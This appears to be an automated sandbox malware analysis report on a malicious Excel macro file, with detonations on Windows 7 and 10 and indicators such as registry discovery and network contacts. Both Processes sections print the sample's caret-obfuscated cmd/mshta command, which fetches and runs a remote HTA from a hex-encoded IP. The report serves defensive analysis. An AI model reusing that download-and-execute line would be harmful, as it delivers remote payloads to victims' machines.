Malware Analysis Report

2025-01-22 16:08

Sample ID 241111-vmq4savqap
Target 7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a
SHA256 7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a

Threat Level: Known bad

The file 7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Modifies Internet Explorer settings

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:06

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:06

Reported

2024-11-11 17:09

Platform

win7-20240729-en

Max time kernel

118s

Max time network

118s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2412-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2412-1-0x0000000072BED000-0x0000000072BF8000-memory.dmp

memory/2412-2-0x0000000072BED000-0x0000000072BF8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:06

Reported

2024-11-11 17:09

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

136s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1272 wrote to memory of 464 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1272 wrote to memory of 464 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 464 wrote to memory of 2040 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 464 wrote to memory of 2040 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7cbb0d17773f084bfa88dbd62a41b51b02612edeb8eaecc92695db888d56803a.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
FR 52.109.68.129:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 129.68.109.52.in-addr.arpa udp
US 8.8.8.8:53 102.208.201.84.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 76.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 123.10.44.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 106.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp

Files

memory/1272-0-0x00007FFD14790000-0x00007FFD147A0000-memory.dmp

memory/1272-1-0x00007FFD547AD000-0x00007FFD547AE000-memory.dmp

memory/1272-4-0x00007FFD14790000-0x00007FFD147A0000-memory.dmp

memory/1272-6-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-10-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-11-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-9-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-12-0x00007FFD11E30000-0x00007FFD11E40000-memory.dmp

memory/1272-14-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-13-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-15-0x00007FFD11E30000-0x00007FFD11E40000-memory.dmp

memory/1272-16-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-18-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-19-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-17-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-7-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-5-0x00007FFD14790000-0x00007FFD147A0000-memory.dmp

memory/1272-8-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-3-0x00007FFD14790000-0x00007FFD147A0000-memory.dmp

memory/1272-2-0x00007FFD14790000-0x00007FFD147A0000-memory.dmp

memory/1272-30-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

memory/1272-31-0x00007FFD547AD000-0x00007FFD547AE000-memory.dmp

memory/1272-32-0x00007FFD54710000-0x00007FFD54905000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 37f4be0af8b076c24e9e116c59e266bc
SHA1 550949d25790442928ce0400e5fa499546606613
SHA256 be40649ec0d4fa070705d482948db19596cd86c25bc3bdb6732bc517f9df63d4
SHA512 ccb93b00063cea25275b7433cd2d1bfc314c14ba5b13d48a6fc493493904c07d0f39b5b8ac211960f495050b985cfcd427cb10b06af2084993c99034372e05cb